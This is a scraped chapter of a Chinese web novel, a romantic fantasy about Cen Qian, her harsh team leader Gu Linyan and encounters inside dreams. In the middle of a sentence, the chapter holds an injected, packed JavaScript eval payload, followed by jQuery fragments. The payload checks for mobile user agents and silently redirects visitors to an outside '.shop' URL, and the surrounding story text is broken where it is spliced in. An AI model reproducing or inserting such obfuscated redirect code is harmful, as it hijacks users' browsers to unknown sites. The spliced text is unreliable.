文趣网 > 其他小说 > 男神是梦里的阴湿前任 > 19. 错认
    顾临砚停在房间的门口。

    他的视线长久地停在窗帘边缘,看着那块布料产生轻微的晃动。

    岑浅就躲在那里。

    躲在那片落地窗所在的地方,躲在某个人的怀里。

    周围没有方屿或者其他人的陌生气息,这里就是岑浅自然的梦境。

    她应该还不具备自己构建时空的能力,也就是说,这只是普通的,潜意识随便搭建的碎片化梦境,岑浅在这里并无自我意识。

    顾临砚试图冷静地分析。

    她再次梦到了这个酒店,也许意味着她曾和喜欢的人在这里停留,留下了较深的情绪锚点。

    自己梦中出现过的片段再次涌上心头,顾临砚的喉结下意识一阵滚动。

    也就是说,她曾在这里被谁从背后亲吻,发出那样甜腻的声音......

    就像自己在梦里对她那样。

    下一秒,顾临砚的意识骤然回笼,发现自己居然已经鬼使神差地向前走了两步,几乎要暴露自己的存在。

    他向后退去,手掌重重握拳。

    如果不是此时自己的灰雾尚且安稳,顾临砚几乎要怀疑自己是进了敌人的圈套。

    不然在那个瞬间,他怎么可能脑内一片空白,只听见一阵阵少女回响的呜咽。

    他强迫自己向外走去,只觉得自己该去禁闭室苦修一段时间了。

    可在最后,顾临砚还是鬼使神差地向后看了一眼。

    模糊的灯光隐隐绰绰照出整个酒店都轮廓,那扇落地窗伫立那里,内部似有模糊的身影。

    就像岑浅给他留下的第一印象一样,看起来温柔而静谧。

    岑浅没有男朋友——他这样想起。

    .

    也许是因为思虑过多,当晚岑浅睡得并不踏实,迷迷糊糊直到快天亮了才真的睡过去。

    她醒来的时候,已是上午十点左右的光景。

    阳光大刺刺的从窗外照了进来,让整个房间格外亮堂。

    房门正被人咚咚咚地敲响:“岑浅?你在里面吗,没出事吧?”

    是余晚的声音。

    “我在,你直接进来吧。”岑浅打了个哈欠,顶着个鸡窝头起了床。

    于是余晚大大咧咧地进了门,嘴里还念叨着:“队长到底是有多有钱,居然让我们一人住一栋别墅。对了,你知道队长在哪儿吗?我妈说来看我,但我联系不上他。”

    岑浅揉揉眼睛,指了指窗外:“就在隔壁,出门左转。”

    余晚的眼睛腾的一下就亮了。

    她凑近了岑浅,面露某种奇异的光彩:“你来过?”

    “啊,来过一次,意外。”岑浅想起上次尴尬的经历,不由得吞吞吐吐了一下。

    这神情落到余晚眼里几乎成了一种变相的承认,她深深地吸了一口气:“我的天哪,我是队长怎么最近情绪阴晴不定,原来是因为谈了恋爱——”

    “你想什么呢?!”岑浅这才明白过来余晚的意思,她哭笑不得:“我之前那是被队长救了一命,除此之外,你看他哪里对我有什么不一样吗?”

    “要我说啊,顾临砚这种人脑子里应该就只有工作,每次出任务不是在训斥我就是在训斥我的路上,怎么可能喜欢我呢?”

    岑浅摇了摇头。

    余晚叹了一口气,觉得岑浅这样子不像作假,也应和道:“也是,真要是喜欢你怎么可能对你这么凶,你瞧他昨天那个样子......”

    “对吧!”岑浅也来劲了,她后来一想到顾临砚昨天的表情就觉得有些憋闷。

    都是那张脸,凭什么他就对自己这么凶?打工人就没有人权吗?!

    就算是她真的要带男朋友一起住进来,那也没有什么问题,如今她身处危险之中,害怕想找家人一起,再正常不过了。

    而且昨天因为顾临砚的突然搜查,哥哥的心情似乎一直不好。

    岑浅决定任性地迁怒一把顾临砚——搜查就搜查,从外界就能看得出来有没有危险,何必来窥探她的梦境呢!

    两人激情吐槽了一番,就在这时,岑浅的手机嗡的一声响了。

    她低头一看,只见屏幕上弹出了一个简短的聊天框。

    “出来,有话问你。”

    是顾临砚。

    岑浅一时心头气愤难平——这狗东西居然又随随便便使唤她!

    下一秒,她忽而心头一动,抬眼望向门外。

    方才余晚进来的时候似乎没有关进大门,让它悄悄的打开了一条缝隙。

    顾临砚穿着一身笔挺的西装,两道剑眉微微皱起,一双凤眼深似寒潭。

    他似笑非笑地看着自己,曲起手指轻轻敲了敲大门。

    “不好意思,你们的声音已经穿到走廊了。”

    岑浅头皮一紧,却见顾临砚只是盯着自己。

    “余晚,先回去。”

    .

    看到顾临砚这幅神情,余晚立刻像一直被掐着脖子的鹌鹑,没了声音。

    她临走前给了岑浅一个带着歉意的眼神,随后一个50米狂奔,只听得噔噔噔几声,别墅里再无别的动静。

    岑浅刚发下她试图挽留的手,就看到顾临砚轻笑了一声。

    那笑容无端叫她胆寒了一瞬,总觉得带着些诘问和怒意。

    岑浅一时间敏感地意识到,顾临砚恐怕并不完全是因为刚刚自己的吐槽而生气。

    难道是昨天晚上.......

    可若是发现了问题,为什么等到现在才来问?

    下一秒,她的心就真正的如坠冰窟。

    “接下来我问你的事情,你应该不太愿意被别人所知道。”

    这下完了。

    岑浅讪笑了一声,垂死挣扎:“队长,刚刚那些话我只是一时激动,并没有......”

    一道阴影忽地逼近,将她笼罩其间。

    “你这段时间都见了哪些人。”顾临砚的灰雾轻轻扫过她的右肩,只是冷冷地问道。

    那正正是昨晚继兄留下咬痕的地方。

    岑浅这下觉得彻底瞒不住了,她慌忙解释:“他真的不是你们想的那样,我们只是在梦里见面,但他从来没有跟我提过造梦局,也对我们的现实不怎么感兴趣——”

    在她低着头的解释的那一瞬间,顾临砚的眸子终于起了波澜,他不可置信地看了一眼岑浅,语气却一点没变:“然后呢?”

    “我们在梦里认识很久了,我怀疑在我还没有完全觉

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17557377|204112||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    醒的时候就已经开始梦见他,他肯定不是方屿,我之前只是怕你们误会,所以一直没有提。”

    岑浅又急又怕地解释了一通,忽然觉得哪里不对,连忙抬头望去。

    只见顾临砚一张棱角分明的脸几乎要化作冰冷的刀锋,他沉沉望着自己,怒极反笑:

    “他?”

    岑浅心里咯噔一下,暗道一句不好。

    “岑浅,你到底还有多少事情瞒着我?”

    顾临砚再次上前了一步,浓重的灰雾暗沉沉地压了过来,将岑浅困在其中。

    “你现在涉嫌通敌和违反造梦局条例,我有权关押你......”

    岑浅脸色苍白,只觉得后果你自己想象的要严重的多,她都嘴唇哆嗦了一下,险些落下泪来。

    可她刚要辩解,那灰雾却在她的后脑重重一敲。

    下一刻,岑浅的意识就逐渐模糊了下去。

    眼前的一切变得模糊而陌生,岑浅用最后的意志抓住了顾临砚的衣角,嘴唇翕动了片刻,终于还是陷入了一片混沌之中。

    不是这样的。

    不要这么对我......至少不要用这张脸......

    分明清楚地知道他们是两个毫无关联的人,但是在那一刻,岑浅的心里还是陡然升起了一阵悲伤。

    不要这么对我......顾临砚。

    .

    不知过了多久。

    岑浅睁开了双眼,一时有些恍惚,连自己是谁都有些记不起来。

    她只觉得心里有一股极为骇人的恐慌,让自己坐立难安。

    岑浅这一片巨大的,黑暗的房间游荡了片刻,找不到出口,也听不到自己拼命的呐喊。

    直到某一刻,面前的大门吱呀一声开了。

    有个人走了进来,让门外的阳光也照亮了面前的一切。

    岑浅看清了那张脸,随后猛然红了眼眶,扑了上去抱住他:“哥哥!”

    那人似乎有些惊愕,双臂还不知所措地垂在两本,只疑惑地重复了一句:“哥哥?”

    只是在这片空间似乎会影响岑浅的神智,让她只能迷迷糊糊地根据本能行事,全然没注意到此人的不对劲。

    “有人欺负我......都怪顾临砚!”她眼眶一红,眼泪吧嗒吧嗒地向下砸,不多时就打湿了面前人多衣领。

    可哥哥今天的反应格外的怪异,原本好像还有些生气,现在却突然又疑惑起来。

    “顾临砚,对你不好吗?”他语气古怪地问道。

    “不好!他对我特别特别凶,还用你的脸来训我,他还要,还要——”

    岑浅隐约记得刚刚顾临砚也是在欺负自己来着,却一下子你也想不起来发生了什么。

    而面前人的脸色已经黑如锅底,尤其是在听到“很凶”和“用你的脸之后”。

    他低声道:“方屿......”

    眉目间戾气顿生,像是要将人千刀万剐。

    可岑浅现在可是思考不了那么多。

    她更紧地揽住了哥哥,抱怨道:“你都不安慰我,怎么都一副冷冰冰的样子,不准学顾临砚!”

    一边说着,她昂起脸颊,就要主动去贴上哥哥近在咫尺的嘴唇。